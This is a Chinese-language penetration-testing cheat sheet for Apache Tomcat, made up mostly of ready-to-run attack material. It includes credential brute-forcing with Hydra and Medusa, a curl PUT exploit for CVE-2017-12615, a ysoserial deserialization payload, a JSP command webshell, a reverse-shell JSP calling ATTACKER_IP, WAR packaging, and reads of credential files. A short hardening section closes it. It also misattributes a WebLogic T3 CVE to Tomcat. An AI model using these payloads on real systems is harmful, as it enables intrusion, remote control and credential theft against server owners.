8080 - Tomcat 渗透

漏洞概述

Apache Tomcat 是流行的 Java Web 应用服务器,常见漏洞包括弱口令、文件上传、反序列化等。

影响版本: 所有版本
危害等级: ⭐⭐⭐⭐⭐


信息收集

端口扫描

# Nmap 扫描
nmap -sV -p 8080 <TARGET_IP>

# Tomcat 枚举
nmap --script http-tomcat-* <TARGET_IP>

版本识别

# 访问默认页面
curl http://<TARGET_IP>:8080/

# 查看版本信息
curl http://<TARGET_IP>:8080/RELEASE-NOTES.txt

管理后台探测

# 常见管理路径
/manager/html
/manager/text
/host-manager/html
/admin

漏洞利用

方法 1: 弱口令爆破

# 默认凭据
tomcat:tomcat
admin:admin
admin:password
manager:manager
role:role
both:tomcat

# Hydra 爆破
hydra -L /usr/share/wordlists/tomcat-users.txt -P /usr/share/wordlists/rockyou.txt http-get://<TARGET_IP>:8080/manager/html

# Medusa 爆破
medusa -h <TARGET_IP> -p 8080 -U users.txt -P passwords.txt -M http -m DIR=/manager/html

方法 2: 文件上传(Manager 应用)

# 1. 登录管理后台
http://<TARGET_IP>:8080/manager/html

# 2. 上传 WAR 包
# 选择 WAR file to deploy
# 上传恶意 WAR 包

# 3. 访问 Webshell
http://<TARGET_IP>:8080/shell/shell.jsp

方法 3: PUT 方法上传(CVE-2017-12615)

# 检查是否允许 PUT
curl -X PUT http://<TARGET_IP>:8080/shell.jsp/ -d "<%@page import=\"java.util.*\"%><%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>"

# 如果返回 201 或 204,说明成功
# 访问 Webshell
http://<TARGET_IP>:8080/shell.jsp?cmd=whoami

方法 4: 反序列化漏洞

# CVE-2015-4852
# 使用 ysoserial 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64}|{base64,-d}|{bash,-i}" > payload.bin

# 发送到 T3 端口

Webshell 制作

JSP Webshell

<%-- 简单命令执行 --%>
<%@ page import="java.util.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        Scanner s = new Scanner(p.getInputStream());
        while (s.hasNext()) {
            out.println(s.nextLine());
        }
    }
%>

<%-- 反弹 Shell --%>
<%@ page import="java.net.*,java.io.*" %>
<%
    String host = "ATTACKER_IP";
    int port = 4444;
    Socket s = new Socket(host, port);
    Process p = Runtime.getRuntime().exec("/bin/bash");
    new StreamConnector(p.getInputStream(), s.getOutputStream()).start();
    new StreamConnector(p.getErrorStream(), s.getOutputStream()).start();
    new StreamConnector(s.getInputStream(), p.getOutputStream()).start();
%>

WAR 包制作

# 创建目录结构
mkdir -p shell/WEB-INF

# 创建 web.xml
cat > shell/WEB-INF/web.xml << EOF
<?xml version="1.0"?>
<web-app>
    <servlet>
        <servlet-name>Shell</servlet-name>
        <jsp-file>/shell.jsp</jsp-file>
    </servlet>
    <servlet-mapping>
        <servlet-name>Shell</servlet-name>
        <url-pattern>/shell</url-pattern>
    </servlet-mapping>
</web-app>
EOF

# 复制 JSP Webshell
cp shell.jsp shell/

# 打包 WAR
cd shell && jar -cvf ../shell.war .

提权路径

Tomcat 提权到系统

# 1. 查看 Tomcat 运行用户
ps aux | grep tomcat

# 2. 查看 sudo 权限
sudo -l

# 3. 查找敏感文件
find / -name "*.xml" 2>/dev/null | grep -i tomcat
cat /opt/tomcat/conf/tomcat-users.xml

数据库凭据

# 查看数据库配置
cat /opt/tomcat/webapps/ROOT/WEB-INF/classes/jdbc.properties
cat /opt/tomcat/webapps/ROOT/WEB-INF/web.xml

防御建议

  1. 修改默认凭据

    <!-- conf/tomcat-users.xml -->
    <role rolename="admin-gui"/>
    <user username="admin" password="StrongPassword123!" roles="admin-gui"/>
  2. 禁用 Manager 应用

    # 删除或重命名
    rm -rf webapps/manager
    rm -rf webapps/host-manager
  3. 限制访问 IP

    <!-- conf/Catalina/localhost/manager.xml -->
    <Context>
        <Valve className="org.apache.catalina.valves.RemoteAddrValve"
               allow="127\.0\.0\.1"/>
    </Context>
  4. 禁用 HTTP PUT 方法

    <!-- conf/web.xml -->
    <security-constraint>
        <web-resource-collection>
            <url-pattern>/*</url-pattern>
            <http-method>PUT</http-method>
        </web-resource-collection>
        <auth-constraint/>
    </security-constraint>
  5. 定期更新

    • 安装最新安全补丁

参考链接